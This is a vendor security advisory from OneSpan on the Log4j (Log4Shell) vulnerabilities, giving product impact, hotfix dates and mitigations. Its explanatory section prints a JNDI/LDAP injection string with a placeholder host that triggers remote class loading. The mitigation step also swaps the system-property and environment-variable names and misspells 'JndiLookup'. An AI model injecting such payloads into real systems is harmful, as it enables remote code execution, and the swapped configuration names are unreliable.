OneSpan Security Advisory

Remote code execution vulnerabilities in Log4j2 component in OneSpan products

Advisory ID: onespan-sa-20211213-log4j

Revision number: 1.9

Date and time of release: December 13 2021 23:00 UTC

Date and time of last update: January 4 2022 17:00 UTC

Summary

On 9 December 2021, the Apache Foundation published an emergency update for a critical zero-day vulnerability in Log4j, a widely used logging tool included in many Java applications. The issue has been named Log4Shell and received the identifier CVE-2021-44228. The vulnerability revolves around a bug in the Log4j library that can allow an attacker to execute arbitrary code on a system that is using Log4j to write out log messages. This vulnerability affects version 2 of Log4j, and more specifically all versions from 2.0-beta-9 to 2.15.0.

During the weeks after the disclosure of the initial vulnerability CVE-2021-44228, the Apache Foundation reported several additional related vulnerabilities in Log4j:

- Vulnerability CVE-2021-45046 allows performing a remote code execution attack against Log4j2 if Log4j uses a non-default Pattern Layout, a Thread Context Map for fish tagging, and allows the user to specify input data for the Thread Context Map. It affects all versions from 2.0-beta-9 to 2.15.0. It is patched in version 2.16.0 and 2.12.2.
- Vulnerability CVE-2021-45105 allows performing a denial-of-service attack against Log4j2 if Log4j uses a non-default Pattern Layout, a Thread Context Map for fish tagging, and allows the user to specify input data for the Thread Context Map. It affects all versions from 2.0-alpha1 through 2.16.0 (excluding 2.12.3). It is patched in versions 2.17.0 and 2.12.3.
- Vulnerability CVE-2021-44832 allows performing a remote code execution attack against Log4j2 if the adversary can modify the Log4j configuration. It affects all versions from 2.0-beta7 through 2.17.0 (excluding 2.3.2 and 2.12.4). It is fixed in versions 2.17.1, 2.12.4 and 2.3.2.
- Finally, vulnerability CVE-2021-4104 affects Log4j 1.2, if it is configured to use JMSAppender, which is not the case by default.

This security advisory contains information about the security risk that the Log4j vulnerabilities present to OneSpan's SaaS and on-premises products, provides information about compensating measures relevant to on-premises customers, and provides information about the availability of hotfixes.

Detailed description of vulnerability CVE-2021-44228

The vulnerability CVE-2021-44228 leverages the Java Naming and Directory Interface (JNDI), which provides an abstract interface for different name resolution and directory services, such as DNS and LDAP.

The vulnerability exists in Log4j because the affected software insufficiently validates user-supplied input, potentially allowing an attacker to provide a string that is interpreted as a variable that, when expanded, results in the loading and invocation of a remote Java class file.

The following example demonstrates the method by which this condition can be triggered by logging specially crafted, attacker-supplied data as an error message.

```
UserData = "${jndi:ldap://[host]/[path]}";
logger.error(UserData);
```

To compromise the target, the JNDI/LDAP URL serves a malicious Java class object that will be deserialized and invoked on the victim host, where the Log4j library is available. This action is possible because JNDI does not enforce any security controls on LDAP requests. Also, LDAP, contrary to other JNDI protocols, supports the loading of classes from remote resources.

To exploit this vulnerability, an attacker must send a request that submits malicious input to the targeted system, making exploitation more difficult in environments that restrict network access from untrusted sources.

Risk assessment for OneSpan's products and solutions

1) OneSpan SaaS solutions

OneSpan Sign Production and Sandbox

The SaaS version of OneSpan Sign is equipped with a Web Application Firewall (WAF), which inspects all incoming web traffic. We have configured the WAF to detect and block attempts to exploit vulnerabilities in the Log4j library. We upgraded the Log4j library to version 2.16 with the deployment of OneSpan Sign version 11.45.2 (release notes) in all Production environments to mitigate the vulnerability. We have confirmed that CVE-2021-45105 and CVE-2021-4104 do not apply to our configuration. We plan to upgrade to Log4j 2.17.1 in the next major release (11.46). We will communicate updates via our Trust Center.

OneSpan Sign FedRAMP environment

This environment is equipped with Web Application Proxies (WAPs), which perform pre-authentication of most requests to OneSpan Sign. We upgraded the Log4j library to version 2.16 with the deployment of OneSpan Sign version 11.45.2 (release notes) in the FedRAMP environment to mitigate the vulnerability. We have confirmed that CVE-2021-45105 and CVE-2021-4104 do not apply to our configuration. We plan to upgrade to Log4j 2.17.1 in the next major release (11.46).

OneSpan Cloud Authentication (OCA) and Intelligent Adaptive Authentication (IAA) based on Trusted Identity (TID) platform

The Staging/Production environments of OCA and IAA are protected with IP-address whitelisting and Transport Layer Security (TLS) with mutual TLS authentication. As such only authenticated customers can access the web applications and APIs of these solutions.

Adversaries cannot access the Sandbox environments of OCA and IAA without creating an account in OneSpan's Community Portal. OneSpan currently assesses the risk of exploitation by unauthorized adversaries as low. We upgraded the Sandbox environment to Log4j 2.17.0 on 23 December 2021 and we confirmed that CVE-2021-4104 does not apply to our configuration. We plan to upgrade the Sandbox environment to Log4j 2.17.1 in the next major release. In parallel, we are planning to upgrade our libraries in production as soon as possible to mitigate the security vulnerability. We will communicate updates via our Trust Center.

OneSpan's Identity Verification (IDV) and DealFlo v2 solutions

DealFlo v2 does not use the Log4j library and is therefore not impacted by this vulnerability.

The Production environment of IDV is protected with authentication based on Access Tokens. As such, only authenticated customers can access the web applications and APIs of these solutions. We have upgraded the system configuration for Log4j as used in IDV to mitigate the vulnerability. In parallel, we are upgrading the Log4j libraries to version 2.17.1 to mitigate the security vulnerabilities. These will be deployed in R5 on January 19, 2022. We will communicate updates via our Trust Center.

Application Shielding portal

The Application Shielding portal does not use the Log4j library and is therefore not impacted by this vulnerability.

2) OneSpan on-premises server products

Authentication Server Framework

Authentication Server Framework does not use the Log4j library and is therefore not impacted by this vulnerability.

Authentication Server

A component of the Authentication Server product (versions 3.15.0 to 3.22.0) uses the Log4j 2.x library. We have developed detailed instructions that explain to customers how to implement a workaround to mitigate the vulnerability. A hotfix based on Log4j 2.17.0 has been released on December 21. We plan to upgrade to Log4j 2.17.1 in a next scheduled release.

Authentication Server Appliance

A component of the Authentication Server Appliance product (versions 3.12.13.0 to 3.21.0) uses the Log4j 2.x library. We have developed and released a hotfix for these versions of the product. We have confirmed that CVE-2021-45046, CVE-2021-45105, CVE-2021-44832 and CVE-2021-4104 do not apply to the appliance.

Digipass Gateway

A component of the Digipass Gateway product (versions 5.0 and higher) uses the Log4j 2.x library. We have developed detailed instructions that explain to customers how to implement a workaround to mitigate the vulnerability. A hotfix based on Log4j 2.17.0 has been released on December 21. We plan to upgrade to Log4j 2.17.1 in a next scheduled release.

Risk Analytics

A component of the Risk Analytics product uses the Log4j 1.x library. This library is not impacted by the vulnerability. However if customers change the configuration of the library so that it supports JNDI lookups, it might become vulnerable. We recommend customers to review their Log4j configuration and verify it does not enable JNDI lookups via the usage of the Java JMSAppender class. OneSpan will upgrade the Log4j library in a next release of Risk Analytics.

Digipass Native Bridge

Digipass Native Bridge does not use the Log4j library and is therefore not impacted by this vulnerability.

OneSpan Sign

Components of the OneSpan Sign product use the Log4j 2.x library. OneSpan will upgrade the Log4j library in a next release of OneSpan Sign.

Certain versions of OneSpan Sign use the Log4j 1.x library. This library is not impacted by the vulnerability. However, if customers change the configuration of the library so that it supports JNDI lookups, it might become vulnerable. We recommend customers to review their Log4j configuration and verify it does not enable JNDI lookups via the usage of the Java JMSAppender class. OneSpan will upgrade the Log4j library in a next release of OneSpan Sign.

General guidance

OneSpan recommends customers limit access to components of on-premises products (e.g., web administration components, APIs) as much as possible.

If the product is accessible publicly, we recommend customers:

1) Configure their Web Application Firewall (WAF), if used, to block attempts to exploit the vulnerability. Customers should contact their WAF vendor to receive WAF rules to block attempts to exploit the Log4j vulnerabilities.
2) Mitigate the vulnerability by configuring the Log4j library as follows:
    a) For Log4j 2.10 or greater in default configuration: Disable lookups by setting the system property LOG4J_FORMAT_MSG_NO_LOOKUPS to true, or by setting an environment variable Dlog4j.formatMsgNoLookups=true
    b) For all versions of Log4j2: Remove JdniLookup (and supporting classes such as JndiManager, JMSAppender, SMTPAppender) from log4j-core jar.

3) OneSpan Digipass authentication products

The following Digipass products use an impacted version of the Log4j2 library:

- Mobile Security Suite (MSS) Notification SDK Server
- Mobile Authenticator Studio (MAS) server sample code
- Application Shielding server sample code

OneSpan has issued a hotfix for Mobile Security Suite based on Log4j 2.15.0 on December 14, 2021, has issued another hotfix based on Log4j 2.16.0 on December 16, 2021. We released another hotfix based on Log4j 2.17.0 on December 21.

We recommend customers using the server samples for MAS and Application Shielding not use the vulnerable Log4j library.

Supplier management

OneSpan has engaged with its suppliers and partners who aid in the delivery and support of its products and solutions in order to understand their exposure to the vulnerabilities and the actions they are taking in order to mitigate the vulnerability, if any.

Product fixes and workarounds

OneSpan is actively working on product point releases to upgrade the relevant library and will release hotfixes for the following product lines:

1) SaaS products

Product line	Version	Availability date
OneSpan Sign	11.45.2	15-18 December 2021
OneSpan Sign FedRAMP	11.45.2	15-18 December 2021
OneSpan Cloud Authentication (OCA) and Intelligent Adaptive Authentication (IAA)	Sandbox OAS 3.22.2 Production	23 December 2021 January 2022
Identity Verification	Mitigation through configuration Upgrade in version R5	15-18 December 2021 19 January 2022

2) On-premises products

Product line	Version	Availability date
Authentication Server	Hotfix 3.15 – 3.22	21 December 2021
Authentication Appliance	Patch 3.12.13.0 – 3.21.0	15 December 2021
Digipass Gateway	Hotfix 5.0 – 5.5	21 December 2021
Risk Analytics	Will be announced soon	Will be announced soon
OneSpan Sign	Will be announced soon	Will be announced soon
Mobile Security Suite	4.31.3	21 December 2021

Fixes for server samples of Mobile Authenticator Studio (MAS) and Application Shielding will be provided as part of the next scheduled release.

Obtaining product releases with fixes

Customers with a maintenance contract can obtain fixed product releases from the Customer Portal. Customers without a maintenance contract should contact their local sales representative.

References

[1] https://logging.apache.org/log4j/2.x/security.html
[2] https://nvd.nist.gov/vuln/detail/CVE-2021-44228
[3] https://nvd.nist.gov/vuln/detail/CVE-2021-45046
[4] https://nvd.nist.gov/vuln/detail/CVE-2021-45105
[5] https://nvd.nist.gov/vuln/detail/CVE-2021-44832

Legal disclaimer